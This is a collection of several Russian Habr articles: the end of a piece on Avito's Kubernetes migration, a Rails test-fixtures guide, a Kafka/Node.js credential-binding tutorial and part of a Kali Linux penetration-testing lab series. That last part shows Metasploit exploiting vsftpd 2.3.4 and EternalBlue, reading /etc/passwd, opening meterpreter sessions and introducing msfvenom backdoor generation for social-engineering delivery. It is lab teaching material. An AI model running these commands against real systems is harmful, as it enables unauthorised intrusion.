После снятия новых блокеров мы смогли спокойно деплоиться, пока опять не упёрлись в ресурсы. Но к этому моменту ребята из инфраструктуры и архитектуры уже засетапили остальные дата-центры. И мы раскидали avito-site в два новых дата-центра: по ресурсам гораздо свободнее, гораздо легче деплоиться.
Мы переключили практически весь трафик. Как вишенку на торте оставили кроны, демоны и логику, завязанную на ширинг данных. Но мы их тоже зафиксили.
Как мы поступили с супервизорами, о которых я говорил в самом начале статьи? Напомню, что в старом монолите все демоны запускались под супервизором, и нам нужно было придумать, как их контролировать в распределённой системе. Новый супервизор-агрегатор умеет агрегировать информацию во всех запущенных инстансах супервизоров в любом дата-центре. Если лейбл `app=supervisor`, он подтягивает этот pod к себе, строит карту и по RPC собирает общую информацию о том, какие процессы и работы запущены.
В итоге супервизор-агрегатор предоставляет фронтенд, где отображает всю информацию и позволяет через себя всем этим управлять. Это распределённая и более ресурсосвободная альтернатива тому, что было на одном LXC-контейнере.
Авито в Kubernetes: как сейчас
------------------------------
Когда мы всё переключили, avito-site стал равномерно распределён по всем кластерам. И все его демоны, кроны и супервизоры. Наконец-то монолит окубернечен!
 | https://habr.com/ru/post/650593/ | null | ru | null |
# Fixtures в Rails и их альтернатива
Я на рельсах сижу не так давно, но, тем не менее, уже успел кое в чем покопаться. Одна из тем, с которыми пришлось разобраться довольно тщательно — это fixtures и их альтернативы в тестах rails.
### Немного о самих Fixtures
Маленький обзор для тех, кто не совсем в теме. Fixtures в Rails — это штука, которая позволяет загонять в тестовую БД заранее подготовленные данные, которые используются тестируемыми объектами. В самом коде теста достаточно вызвать метод `fixtures :users` и он автоматически загрузит все данные для объектов класса User. Для более подробного ознакомления, следует прочесть [мануал](http://rails.rubyonrails.com/classes/Fixtures.html) (он, кстати, короткий).
### Почему разработчики не любят Fixtures?
Несмотря на то, что этот инструмент призван был помочь разработчикам, решая одну проблему, он создал несколько других. Вот основные недовольства фикстурами, которые обычно высказываются в блогах:
1. Фикстуры по замыслу специфичны для каждого теста, но, тем не менее доступны каждому из тестов. То есть, если в одном тесте мне нужны одни данные для объектов User, а в другом уже несколько другие — со стандартными фикстурами это сделать будет невозможно.
2. Если записей для БД оказывается не очень мало, фикстурами становится гораздо сложнее моделировать такие отношения объектов, как has\_one, has\_many, habtm и has\_many :through — нужно уследить за правильными значениями foreign keys. Хотя, на самом деле, стандартный механизм предоставляет удобный способ избежать подобного геморроя (см. ниже), об этом часто забывают.
3. Ненаглядность. Некоторые разработчики хотят четко прямо в коде теста видеть какие данные буду использоваться.
### Какие есть альтернативы?
В качестве альтернативы фикстурам можно прежде всего создавать объекты прямо в тестах, например так: `%w("Tom Bill Frank").each { |name| User.create(:first_name => name) }`. Я пробовал так делать, но недостаток тут в том, что после каждого теста вам придется как-то вручную очищать тестовую базу. Если при этом такие тесты у вас будут запускаться вместе с тестами, все еще использующими фикстуры, то могут возникнуть конфликты — фикстуры используют транзакции для заполнения/очищения БД, поэтому перед выполнением нефикстурного теста может оказаться, что база, на самом деле, не очищена. (Например у меня из-за этого нефикстурный тест, запущенный в одиночку, успешно проходил, но запущенный вместе с другими тестами — выдавал ошибку).
Коммьюнити пошло дальше и придумало несколько решений ([1](http://www.dcmanges.com/blog/38), [2](http://textmode.at/2008/6/12/factory-girl-rails-fixture-replacement)) упрощающих создание объектов с данными в обход фикстур.
### Почему, все же, может быть удобнее использовать Fixtures?
Представьте, что вы добавляете в свою модель новое поле и валидацию его присутствия. Теперь представьте, что у вас 10 нефикстурных тестов, в которых создаются и заполняются данными объекты. Не слишком большое удовольствие вас ждет, когда вы будете все эти 10 тестов править (проблема, кстати, вполне жизненная — именно так произошло, когда я начал встраивать в модель плагин restful\_authentication и добавил поле password). Юнит-тесты на то и юнит-тесты, что не должны больше ни от чего зависеть и должны использовать только те данные, которые подразумеваются для тестирования функционала модели.
Поэтому проще на самом деле решить указанные в начале статьи недостатки в рамках самих фикстур, чем переключаться на решение, которое создает новые проблемы. Вот как:
1. **Проблема специфичности фикстур** для каждого теста решается плагином [FixtureScenarios](http://errtheblog.com/posts/61-fixin-fixtures). Теперь в каждом тесте достаточно указать `scenario :logging` и из директории fixtures/logging загрузятся все фикстуры. По ссылке выше, в статье упоминается дополнительный плагин FixtureScenarioBuilder — я пытался его использовать, но во-первых, на тот момент там явно был баг, из-за которого все тесты падали, и во-вторых — особого смысла в нем и не было, т.к. динамическое создание кучки фикстур в три строки можно организовать прямо в YAML-файлах при помощи ERb (см. раздел [мана по fixtures](http://rails.rubyonrails.com/classes/Fixtures.html) «Dynamic fixtures with ERb»).
2. **Проблема как уследить за кучей записей с foreign keys** решается стандартным способом, предусмотренным фикстурами:
`### in pirates.yml
reginald:
name: Reginald the Pirate
monkey: george
### in monkeys.yml
george:
name: George the Monkey
pirate: reginald`
В данном случае id записи не задается явно (кстати, не вижу смысла это вообще делать когда-либо в фикстурах), а присваивается автоматически. Рельсы также автоматически подставляют вместо george и reginald соответствующие id. И вот уже мы имеем отношения has\_one и belongs\_to. Более подробно об использовании этого подхода опять таки написано в [мануале](http://rails.rubyonrails.com/classes/Fixtures.html), в разделе «Advanced YAML Fixtures». Особо мощно данный подход можно использовать комбинируя его с генерацией записей при помощи ERb.
3. **Проблема наглядности**, на мой взгляд, также решается использованием плагина FixtureScenarios. Именованные сценарии позволяют вам один раз продумать какие данные будут загружены для этого сценария и не возвращаться к этом вопросу в будущем, просто контролируя какие именно сценарии используются в тесте. При необходимости можно добавить новые сценарии, которые, кстати, могут быть вложенными (тогда, например, сначала загрузятся данные из fixtures/logging, а потом из fixtures/logging/admin).
Был бы благодарен за комментарии, дополнения и мнения профессионалов. | https://habr.com/ru/post/30387/ | null | ru | null |
# Упрощение аутентификации в Kafka с помощью Node.js
*Содержание:*
Подключение к экземпляру Kafka
Безопасная передача учетных данных
Привязка сервиса в Kubernetes
Простота использования привязок сервисов с помощью kube-service-bindings
Настройка привязки сервисов в OpenShift
Node.js и Apache Kafka: дополнительные ресурсы
[Apache Kafka](https://developers.redhat.com/topics/kafka-kubernetes) — это система обмена сообщениями, работающая по принципу «публикация — подписка», которая обычно используется для создания слабо связанных между собой приложений. Такие приложения часто называют *реактивными приложениями*.
Наша команда подготовила пример простого [реактивного приложения](https://github.com/nodeshift-starters/reactive-example), демонстрирующий использование [Kafka](https://developers.redhat.com/topics/kafka-kubernetes). Если вы уже интересовались приложениями такого типа, то вам известно, что, несмотря на отсутствие связей между компонентами, им требуется доступ к общему экземпляру Kafka. Доступ к такому общему экземпляру должен быть защищен. Это означает, что каждому компоненту требуется собственный набор учетных данных, которые тот сможет использовать для подключения к экземпляру Kafka.
Как безопасно и без лишнего труда открыть доступ к этим учетным данным и использовать их при разработке на [Node.js](https://developers.redhat.com/topics/nodejs)? Ответу на этот вопрос посвящена эта статья.
**Примечание.** Подробнее об использовании Node.js в реактивных приложениях рассказывается в статье [Построение реактивных систем с помощью Node.js](https://developers.redhat.com/articles/2021/08/31/building-reactive-systems-nodejs).
**Подключение к экземпляру Kafka**
Для подключения к экземпляру Kafka обычно требуется следующая информация:
* один или несколько URL-адресов для кластера Kafka;
* информация о механизме подключения/аутентификации;
* идентификатор пользователя;
* секретный ключ пользователя.
При предоставлении доступа к двум последним пунктам, несомненно, следует соблюдать осторожность. В идеале первый пункт также не должен быть публичным. В результате для подключения к экземпляру Kafka вам необходимо указать что-то вроде этого:
```
KAFKA_BOOTSTRAP_SERVER=michael--wmc-utegzxlxds-fhyltiy-j-j.bf2.kafka.cloud.com:443
KAFKA_CLIENT_ID=srvc-acct-123456789-1234-1234-1234-24bda5a97b89
KAFKA_CLIENT_SECRET=abcdef12-1234-1234-1234-da90b53e893e
KAFKA_SASL_MECHANISM=plain
```
Кроме того, не следует раскрывать информацию о соединении за пределами самого приложения.
Важно также отметить, что для Node.js существует несколько различных клиентов Kafka и способ передачи этой информации отличается для каждого клиента. Если вы не знаете, какой клиент выбрать, ознакомьтесь с разделом [Kafka](https://github.com/nodeshift/nodejs-reference-architecture/blob/main/docs/functional-components/message-queuing.md#kafka) в [справке по Node.js](https://github.com/nodeshift/nodejs-reference-architecture).
В качестве простого примера передачи информации при использовании клиента [KafkaJS](https://www.npmjs.com/package/kafkajs) можно использовать такой код:
```
kafkaConnectionBindings = {
brokers: [process.env.KAFKA_BOOTSTRAP_SERVER ]
};
if (process.env.KAFKA_SASL_MECHANISM === 'plain') {
kafkaConnectionBindings.sasl = {
mechanism: process.env.KAFKA_SASL_MECHANISM,
username: process.env.KAFKA_CLIENT_ID,
password: process.env.KAFKA_CLIENT_SECRET
};
kafkaConnectionBindings.ssl = true;
}
const kfk = new Kafka(kafkaConnectionBindings);
```
Использование переменных среды — самый простой способ настройки соединения, но он не всегда безопасен. Если задать переменные среды из командной строки, то любой человек, имеющий доступ к этой среде, сможет получить доступ и к ним. Различные инструменты и фреймворки также часто облегчают доступ к переменным среды в целях отладки. Например, в [Red Hat OpenShift](https://developers.redhat.com/products/openshift/overview) можно просматривать переменные среды из консоли, как показано на рис. 1.
Рис. 1. Переменные среды, перечисленные в консоли OpenShiftВ случае производственных сред следует убедиться, что даже при наличии доверия ко всем, кто имеет доступ к средам, конфиденциальная информация (включая учетные данные) доступна только тем, кому это действительно необходимо.
**Безопасная передача учетных данных**
Теперь, когда вы знаете, какая информация требуется, следует разобраться, как безопасно передать учетные данные запущенному приложению.
Вместо того чтобы задавать учетные данные непосредственно в среде, безопаснее будет воспользоваться пакетом вроде [dotenv](https://www.npmjs.com/package/dotenv), чтобы получать учетные данные из файла и передавать их в среду приложения на Node.js. Преимуществом при использовании dotenv будет то, что учетные данные не будут отображаться в среде за пределами процесса Node.js.
Этот подход лучше, однако учетные данные все равно могут быть раскрыты, если сделать дампы среды Node.js для отладки с использованием [диагностического отчета Node.js](https://developer.ibm.com/articles/easily-identify-problems-in-your-nodejs-apps-with-diagnostic-report/). Также открытым остается вопрос о том, как безопасно передать файл dotenv в приложение. В случае развертывания приложения в [Kubernetes](https://developers.redhat.com/topics/kubernetes/) можно сопоставить файл развернутым [контейнерам](https://developers.redhat.com/topics/containers/), но это потребует определенных усилий по планированию и координации разработок.
Вам может показаться, что это весьма трудозатратная задача, и, возможно, вы задаетесь вопросом, нужно ли решать ее отдельно для каждого типа сервиса и набора учетных данных, которые необходимы приложению. Хорошая новость заключается в том, что для сред Kubernetes эта проблема уже решена.
**Привязка сервиса в Kubernetes**
Привязка сервисов — это стандартный подход к сопоставлению набора файлов контейнерам, обеспечивающий передачу учетных данных безопасным и масштабируемым способом. Подробнее о спецификации привязки сервисов для Kubernetes можно прочитать на [GitHub](https://github.com/k8s-service-bindings/spec).
Спецификация не определяет, какие файлы сопоставляются для того или иного типа сервиса. Однако в OpenShift, например, привязка к экземпляру [Red Hat OpenShift Streams для Apache Kafka](https://developers.redhat.com/products/red-hat-openshift-streams-for-apache-kafka/getting-started) приводит к сопоставлению следующих файлов контейнеру приложения:
```
$SERVICE_BINDING_ROOT/
├── bootstrapServers
├── password
├── provider
├── saslMechanism
├── securityProtocol
├── type
└── user
```
В этом случае `SERVICE_BINDING_ROOT` передается в приложение через среду.
**Простота использования привязок сервисов с помощью kube-service-bindings**
Теперь, когда учетные данные доступны приложению, запущенному в контейнере, осталось прочитать их из этих файлов и затем передать клиенту Kafka, используемому в приложении на Node.js. Хм… Звучит не слишком ободряюще — куча работы, да еще и жесткая привязка к используемому клиенту.
Еще одна хорошая новость! Мы создали npm-пакет [kube-service-bindings](https://www.npmjs.com/package/kube-service-bindings), который позволяет приложениям на Node.js легко использовать эти секретные ключи, при этом разработчикам не нужно разбираться с привязкой сервисов.
Этот пакет предоставляет метод `getBinding()`, который делает примерно следующее:
1. ищет переменную `$SERVICE_BINDING_ROOT`, чтобы проверить, доступны ли привязки;
2. считывает информацию из файлов;
3. сопоставляет имена файлов с именами опций, необходимых клиентам Node.js, которые будут подключаться к сервису.
Этот процесс наглядно показан на рис. 2.
Рис. 2. Использование привязок сервисов с помощью пакета kube-service-bindingsРазработчику достаточно лишь вызвать метод `getBinding()`, сообщить ему, какой клиент используется, а затем передать возвращенный объект клиенту Kafka. Без проверки на ошибки получается вот такой простой код:
```
const serviceBindings = require('kube-service-bindings');
try {
kafkaConnectionBindings =
serviceBindings.getBinding('KAFKA', 'kafkajs');
} catch (err) { // proper error handling here
};
const kfk = new Kafka(kafkaConnectionBindings);
```
Первый параметр — KAFKA, поскольку мы подключаемся к сервису Kafka (в будущем kube-service-bindings сможет создавать привязки и к другим типам сервисов).
Данный [пример реактивного кода](https://github.com/nodeshift-starters/reactive-example) позволяет получать учетные данные из среды, файла dotenv или автоматически, если учетные данные доступны через привязки сервисов. В репозитории присутствуют две ветки: [kafkajs](https://github.com/nodeshift-starters/reactive-example/tree/kafkajs) и [node-rdkafka](https://github.com/nodeshift-starters/reactive-example/tree/node-rdkafka). Открыв эти ветки, вы можете посмотреть код для предпочитаемого вами клиента и узнать, каким образом kube-service-bindings предоставляет учетные данные в нужном формате для этого клиента.
**Настройка привязки сервисов в OpenShift**
Мы рассмотрели, как с помощью `kube-service-bindings` разработчики на Node.js с легкостью могут использовать учетные данные, доступные через привязки сервисов.
Пора переходить ко второй части — настройке самих привязок сервисов. В статье [Подключение приложений на Node.js к Red Hat OpenShift Streams для Apache Kafka посредством привязки сервисов](https://developers.redhat.com/articles/2021/07/27/connect-nodejs-applications-red-hat-openshift-streams-apache-kafka-service) описываются шаги по настройке привязки сервиса для подключения приложения на Node.js к экземпляру [Red Hat OpenShift Streams для Apache Kafka](https://developers.redhat.com/products/red-hat-openshift-streams-for-apache-kafka/getting-started). Как и следовало ожидать, в среде Kubernetes сначала необходимо установить несколько операторов. Затем с помощью YAML одному из этих операторов сообщается о необходимости привязать экземпляр OpenShift Streams для Apache Kafka к приложению.
Еще одной приятной новостью является то, что с выходом [OpenShift 4.8](https://docs.openshift.com/container-platform/4.8/release_notes/ocp-4-8-release-notes.html) можно использовать для выполнения привязки пользовательский интерфейс OpenShift! Таким образом, администратор/операторы кластера могут легко настроить экземпляр Kafka для организации. После этого разработчики могут подключать свои приложения без необходимости знать учетные данные. Пользовательский интерфейс облегчает использование привязок на этапе первоначальной разработки. Впоследствии же для более автоматизированного/производственного развертывания можно использовать YAML.
Чтобы самостоятельно убедиться в том, насколько это просто, выполните следующие шаги для подключения приложения к настроенному экземпляру Kafka:
1. Наведите указатель мыши на значок приложения, как показано на рис. 3 (consumer-backend — один из компонентов примера [реактивного приложения](https://github.com/nodeshift-starters/reactive-example)).
Рис. 3. Значок приложения consumer-backend в пользовательском интерфейсе OpenShift2. Щелкните левой кнопкой мыши и перетащите кончик стрелки на значок объекта KafkaConnection (рис. 4).
Рис. 4. Объект KafkaConnection в пользовательском интерфейсе OpenShift3. Отпустите левую кнопку мыши, чтобы создать привязку сервиса.
Вот и все! Если в вашем коде используется пакет `kube-service-bindings`, то учетные данные будут автоматически найдены посредством привязки, а затем будет выполнено подключение к серверу для вашего экземпляра Kafka.
**Node.js и Apache Kafka: дополнительные ресурсы**
В этой статье мы рассмотрели учетные данные, необходимые для подключения к серверу Kafka, и узнали, каким образом их можно безопасно передавать приложениям на Node.js. Если вы хотите погрузиться в эту тему глубже, попробуйте следующее:
1. Установите [пример реактивного приложения](https://github.com/nodeshift-starters/reactive-example) и поэкспериментируйте с ним, чтобы лучше разобраться с кодом и пакетом [kube-service-bindings](https://www.npmjs.com/package/kube-service-bindings) (самые смелые могут создать свои собственные файлы и задать `SERVICE_BINDING_ROOT` для указания на них).
2. Изучите настройки привязки сервисов для экземпляра Kafka, описанные в статье [Подключение приложений на Node.js к Red Hat OpenShift Streams для Apache Kafka посредством привязки сервисов](https://developers.redhat.com/articles/2021/07/27/connect-nodejs-applications-red-hat-openshift-streams-apache-kafka-service).
3. Изучите краткую инструкцию по [ручному подключению Node.js к Kafka](https://access.redhat.com/documentation/en-us/red_hat_openshift_streams_for_apache_kafka/1/guide/5b6badee-eaf3-4a10-b5ec-57dc6b94ec0f), опубликованную на клиентском портале Red Hat.
4. Ознакомьтесь с руководством по [автоматической привязке Node.js к Kafka](https://access.redhat.com/documentation/en-us/red_hat_openshift_streams_for_apache_kafka/1/guide/5d3559cc-1989-41b7-a2bc-e461d2337a6f#_d6073c03-5da2-425e-ac5d-ba13ac73c39d), опубликованным на клиентском портале Red Hat.
5. Если вы установили оператор RHOAS, изучите краткую инструкцию по [автоматической привязке Node.js](https://github.com/redhat-developer/app-services-operator/blob/main/olm/quickstarts/rhosak-openshift-nodejs-bind-quickstart.yaml).
Все новости о деятельности Red Hat в сфере Node.js доступны на нашей [странице, посвященной Node.js](https://developers.redhat.com/topics/nodejs).
---
> Материал подготовлен в рамках курса [«Node.js Developer»](https://otus.pw/W84K/). Если вам интересно узнать подробнее о формате обучения и программе, познакомиться с преподавателем курса — приглашаем на день открытых дверей онлайн. Регистрация [здесь.](https://otus.pw/QK8z/)
>
> | https://habr.com/ru/post/593011/ | null | ru | null |
# Приручение черного дракона. Этичный хакинг с Kali Linux. Часть 5. Методы получения доступа к системе
Приветствую тебя, дорогой читатель, в пятой части серии статей «Приручение черного дракона. Этичный хакинг с Kali Linux».
Полный список статей прилагается ниже, и будет дополняться по мере появления новых.
**Приручение черного дракона. Этичный хакинг с Kali Linux:**
[Часть 1. Вводная часть. Подготовка рабочего стенда.](https://habr.com/ru/post/694886/)
[Часть 2. Фазы атаки.](https://habr.com/ru/post/695112/)
[Часть 3. Footprinting. Разведка и сбор информации.](https://habr.com/ru/post/695140/)
[Часть 4. Сканирование и типы сканирования. Погружение в nmap.](https://habr.com/ru/post/695160/)
[Часть 5. Методы получения доступа к системе.](https://habr.com/ru/post/696840/)
[Часть 6. Пост-эксплуатация. Способы повышения привилегий.](https://habr.com/ru/post/697784/)
[Часть 7. Пост-эксплуатация. Закрепление в системе.](https://habr.com/ru/post/700004/)
В прошлый раз мы поговорили о приемах активного футпринтинга, а именно, о методах сканирования целевых ресурсов, и познакомились с таким замечательным инструментом, как сетевой сканер nmap. Сегодня мы разберем следующую важную фазу — получение доступа к системе и поговорим о таких вещах, как эксплоиты (exploits), полезная нагрузка (payload), а так же познакомимся с инструментом, который нам поможет автоматизировать рутинные задачи связанные с поиском и эксплуатацией уязвимостей под названием Metasploit Framework.
Почему же именно Metasploit и что в нем такого особенного, что он является самым популярным инструментом в арсенале любого специалиста информационной безопасности на различных этапах проверок? Попробуем разобраться в этом вопросе. И начнем мы с погружения в теорию.
**Metasploit Framework** – представляет из себя комплексный инструмент автоматизации процесса эксплуатации уязвимостей ПО и операционных систем различной архитектуры.
Модули входящие в состав Metasploit можно разделить на следующие несколько категорий:
**Эксплоиты (Exploits)** - компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему. Целью атаки может быть как захват контроля над системой (повышение привилегий), так и нарушение её функционирования (DoS-атака).
По типу исполнения можно выделить два вида эксплоитов:
**Удалённый эксплойт** – работает через сеть и использует уязвимость в защите без какого-либо предварительного доступа к атакуемой системе;
**Локальный эксплойт** – запускается непосредственно в уязвимой системе, требуя предварительного доступа к ней.
**Пэйлоады (Payloads)** – это некий код, который выполняется после эксплоита. В основном используется для настройки связи между жертвой и атакующим.
**Вспомогательные модули (auxiliary)** - это дополнительные вспомогательные инструменты вроде сканеров уязвимостей, которые могут искать в сети уязвимые устройства под конкретный эксплоит.
Отсюда следует, что MSF позволяет нам искать и эксплуатировать различными способами уязвимости в операционной системе, используемых в ней сетевых протоколах и отдельных программах, с целью получения контроля над ней либо вывода ее из строя (вторая фаза целевой атаки).
Рассмотрим несколько практических примеров, чтобы тебе точно было все понятно.
Запустим виртуальную машину с Kali Linux и уязвимую машину Metasploitable2.
Запустить Metasploit мы можем либо из консоли командой msfconsole, либо найти его в разделе Exploitation Tools списка всех программ.
Как мы помним из прошлой статьи, у машины Metasploitable2 нам удалось обнаружить устаревшую версию службы ftp 2.3.4 имеющую именно такую уязвимость. Более подробно о каждой известной уязвимости можно узнать из ресурса <https://www.exploit-db.com/>
В поле search можно ввести название сервиса либо номер бюллетени уязвимости.
Как видно на скриншоте, в том случае если эксплоит уже есть в базе Metasploit рядом с его названием в скобках это будет обозначено.
Для поиска необходимого эксплоита в базе metasploit введем команду:
`search <название эксплоита>`
Для применения эксплоита используем команду `use <номер эксплоита в списке>`
Чтобы посмотреть доступные опции эксплоита введем команду `show options`
Как мы видим , тут нам доступны несколько параметров настроек:
RHOSTS – удаленный хост для эксплуатации уязвимости (тут указываем IP адрес машины Metasploitable2)
RPORT – тут указываем порт сервиса (только в том случае если он нестандартный)
И так, для того, чтобы атаковать ресурс нам необходимо ввести всего 2 команды:
`set RHOSTS`
`run` либо `exploit` для того, чтобы запустить эксплоит.
Ждем несколько секунд и получаем открытую сессию в виде удаленного shell-а. Пусть тебя не смущает пустое поле, большая часть команд уже работает. Посмотрим под кем мы работаем командой `whoami`.
Мы видим, что мы сидим под root пользователем
Убедимся в том, что это действительно нужный хост и введем команду `ip address`.
В данном случае мы работаем через командную оболочку, что имеет один существенный минус, а именно — она не даст нам авторизоваться в системе под другим пользователем либо повторно перелогиниться. Сейчас покажу, что я имею ввиду.
Посмотрим, какие пользователи кроме root у нас есть вообще в системе. Информация о пользователях созданных в системе хранится в файле passwd каталога /etc
`cat /etc/passwd`
Видим, что тут присутствуют еще пользователи, например, пользователь msfadmin и user.
Попробуем переключиться на них через команду `su <имя пользователя>`
И так, что мы тут интересного
можем увидеть. Все попытки залогиниться под другими пользователями или перелогиниться под root выдают нам сообщение о том, что команда su (она же sudo) должна выполняться из терминала. Самый простой и эффективный способ переключиться из командной оболочки в режим терминала — использование псевдотерминала pty на python.
Запустим его следующим скриптом:
`python -c ‘import pty; pty.spawn(“bin/sh”)’`
И выполним те же самые манипуляции в псевдотерминале
Как мы видим, переключение между пользователями в терминале осуществляется без особых проблем. Кстати, перелогиниться под root мы уже не можем, поскольку пароль нам не известен. Для того, чтобы вернуться к работе под пользователем root необходимо выйти из сессии текущего пользователя командой `exit`.
И так, надеюсь, что с разницей в работе через терминал и командную оболочку все понятно и мы можем двигаться дальше.
Ранее я писал о составе модулей MSF и таком типе, как вспомогательные модули (auxiliary). Представим, что у нас есть для проверки офис, в котором 30-40 машин под управлением системы Microsoft Windows, а так же сервер на ОСи того же вендора. Знакомая ситуация, не правда ли? И вот нам надо узнать, есть ли в сети устройства, к которым применим старый, но все еще актуальный эксплоит с кодовым именем EternalBlue или MS17-010 (уязвимости подвержены все версии Windows, начиная с Windows XP и заканчивая Windows Server 2016). По типу исполнения, это удаленный эксплоит, как и тот, что мы рассмотрели ранее. Но там мы имели дело с одной машиной, а тут их десятки. Для ускорения задачи, нам и поможет специальный скан-модуль, который будет сканировать все устройства в сети и искать те, которые уязвимы перед EternalBlue.
Покажу наглядно пример ниже.
ВАЖНО! Для того, чтобы повторить данный пример, понадобится подготовить еще 2 машины, с Windows Server 2008 R2 и Windows 7 с последними обновлениями. Уязвимости EternalBlue подвержены все версии Micorosoft Windows использующие уязвимую версию протокола SMBv1, в которых отсутствует мартовский патч 2017 года исправляющий ее.
Список наиболее уязвимых систем следующий:
* Windows Server 2012 R2 Standard 9600: 352,886
* Windows Server 2008 R2 Enterprise 7601 Service Pack 1: 111,331
* Windows Server 2008 R2 Standard 7601 Service Pack 1: 67,761
* Windows Server 2008 R2 Datacenter 7601 Service Pack 1: 57,295
* Windows Server 2016 Standard 14393: 53,005
* Windows Server 2012 R2 Datacenter 9600: 47,122
* Windows 7 Professional 7601 Service Pack 1: 36,454
* Windows 7 Ultimate 7601 Service Pack 1: 33,886
* Windows 10 Home 17134: 29310: 29.310
* Windows 7 Home Premium 7601 Service Pack 1: 26,781
Представим сеть среднестатистического офиса небольшой компании либо госконторы обслуживаемую среднестатистическим эникейщиком со среднестатистической зарплатой до 30 тысяч рублей. Знакомо? Мне тоже. В этой сети есть некий файловый сервер представляющий из себя ПК на Windows Server 2008 c расшаренными папками и отключенным для удобства брандмауэром (сеть-то локальная! А от хакеров защищает NAT на роутере). Так же в сети есть компьютер на базе Windows 7 на котором «кто-то иногда что-то печатает» и еще «антивирус ставить не стали потому что он слабенький по параметрам, но пока рабочий».
Все это - ничто иное, как печальная окружающая нас повседневно реальность с которой приходится мириться ровно до тех пор, пока «Неуловимый Джо», наконец, не станет кому-то да нужен.
И так, с сетью офиса все понятно, пора приступать к делу. Запускаем msfconsole и ищем все, что связано со словом eternalblue.
По запросу в базе Metasploit поиск выдает несколько вариантов. Самый первый вариант — это сам эксплоит, который даст нам удаленный доступ к машине в том случае если в ней есть данная уязвимость, но нас интересует auxiliary/scanner/smb/smb\_ms17\_010, который может в считанные минуты просканировать всю сеть и дать полный расклад по уязвимым машинам. Проверим как это работает. Выберем нужный пункт командой use 3, зададим в параметре RHOSTS всю сеть для сканирования по 24-й маске 192.168.1.0/24 и запустим сканирование командой `run`.
Как мы видим, сканер проверил всю сеть и отметил IP адрес уязвимой машины. Ей оказался некий сервер на базе Windows Server 2008 (В сети так же присутствует машина на базе Windows 7, но со всеми последними доступными для нее обновлениями безопасности. Тут наш EternalBlue бессилен, но ей мы займемся позже).
Проверим для начала, сможем ли мы подключиться без логина и пароля к файловому серверу.
Увы, но сервер требует при подключении аутентификацию и шлет нас лесом.
Теперь выберем наш эксплоит командой use 0, посмотрим какие виды полезных нагрузок нам тут доступны - команда show payloads (если не выбрать полезную нагрузку вручную, то автоматически будет выбран windows/x64/meterpreter/reverse\_tcp)
Список весьма внушительный, но нам надо выбрать тот вариант, который сработает наверняка. Дело в том, что далеко не каждый payload в данной и любой другой ситуации может отработать чисто. Многие из них возвращают ошибку вроде этой
Снова небольшое отступление в сторону теории.
**Соединение типа bind\_tcp** - это тип взаимодействия с атакуемым устройством, в котором на машине жертвы запускается процесс прослушивающий определённый порт, ожидая, пока атакующий подключится к нему (прямое входящее соединение).
**Соединение типа reverse\_tcp** - это тип взаимодействия с атакуемым устройством, в котором на машине процесс программы сам инициализирует соединение до атакующего. Поскольку многие брандмауэры настроены на разрешение исходящих соединений, то обратное (reverse) соединение даёт шанс обойти фильтрацию брандмауэра (обратное, исходящее соединение).
В данном случае, я выбираю payload/windows/x64/meterpreter/bind\_tcp, поскольку у нас не стоит задача обходить блокировку правил брандмауэра Windows, а достаточно лишь выполнить прямое соединение с целевой машиной.
Далее задаем адрес целевой машины командой set RHOSTS 192.168.1.11, указываю тип ОС на атакуемой машине (чтобы посмотреть доступные цели введем команду show targets), и, проверив на всякий случай опции, убедимся, что все в порядке и мы готовы к запуску эксплоита.
 Собственно, запускаем сам эксплоит!
Как видно на скриншоте, эксплоит успешно запустился и мы получили сессию meterpreter.
Отлично! Введем команду `shell`, чтобы получить привычный виндовый command shell и иметь возможность выполнять виндовые команды. Выведем список зарегистрированных пользователей системы командой `net user` и сетевую статистику подключений `net stat`
Есть тут один косяк — проблема с кириллическими символами. Решается русской локализацией самой системы Kali Linux команда `sudo dpkg-reconfigure locales`
И выбираем ru\_RU.UTF-8 UTF-8
Я же не стану заморачиваться с этим, и просто приложу ниже скриншот из командной строки целевой машины
И так, в примерах выше мы рассмотрели работу удаленного типа эксплоита, который может эксплуатировать уязвимость на целевом хосте взаимодействуя с ним через сеть. Но что же делать в том случае, если машина уязвима только перед локальным эксплоитом? В этом случае нам необходимо создать некий бэкдор либо троянец и запустить его на целевой машине.
Т.е. тут мы рассматриваем более сложный сценарий, где для осуществления взлома необходимо применить методы социальной инженерии и заставить жертву запустить исполняемый файл на своей локальной машине.
На подобные случаи в составе Metasploit имеется отдельный модуль, как msfvenom – мощнейший инструмент для генерации пэйлоадов под разные архитектуры систем.
Для начала немного погрузимся в теорию вредоносного ПО и разберемся что есть что из вышеперечисленного.
**Бэкдор (backdoor)** – это вид вредоносного ПО, главной задачей которого является дающая предоставление несанкционированного доступа к удаленному устройству
В нашем случае, генерируемая с помощью msfvenom полезная нагрузка является бэкдором.
**Троянец (trojan)** – это вид вредоносного ПО, главной задачей которого является маскировка под легитимную программу. Он так же несёт в себе полезную нагрузку, чаще всего которой является бэкдор.
Т.е. если мы к файлу setup.exe любой программы либо игры под OC Windows добавляем полезную нагрузку – это будет троянская программа с бэкдором. Если мы сгенерировали полезную нагрузку, разместили на компьютере цели и добавили файл в автозагрузку – то это будет бэкдор.
Далее рассмотрим существующие типы пэйлоадов, в составе Metasploit.
**Single** – это тип полезной нагрузки выполняющий простые одиночное команды.
Он позволяет создавать нового пользователя в скомпрометированной системе или запустить какой-либо исполняемый файл.
**Stager** – это тип полезной нагрузки основной задачей которого является создание сетевого соединения между машиной атакующего и машиной жертвы. Далее последующие компоненты подгружаются при подключении stage.
**Stage** – это тип нагрузки, который загружается не полностью, а поэтапно и имеет, как правило, довольно обширный функционал. Применяется в тех случаях когда необходимо получить VNC либо Meterpreter сессию. К недостаткам данного типа нагрузок можно отнести большой объем занимаемой оперативной памяти (хотя в современных компьютерах совсем не критично).
Что ж, снова мы немного пробежались по теории, и можем вернуться к практике.
Все дальнейшие опыты мы будем проводить на машине под управлением ОС Windows 7, на которой будут установлены все последние доступные для нее обновления безопасности, но выключен брандмауэр и отсутсвует какое-либо антиврусное ПО. У меня такая машина уже есть (о ней я писал ранее), ты же, дорогой читатель, можешь скачать любую 7-ку с последними обновлениями там, где мы обычно любим это делать.
Для начала запустим машину с Kali Linux и в консоли вводим команду `msfvenom -h` чтобы посмотреть все доступные параметры модуля
Список не особо длинный и из него для генерации полезной нагрузки обязательными являются два флага: `-p` – сам payload и `-f` – формат файла на выходе (например .exe).
Для того, чтобы вывести список всех доступных пэйлоадов введем `msfvenom -l payloads`
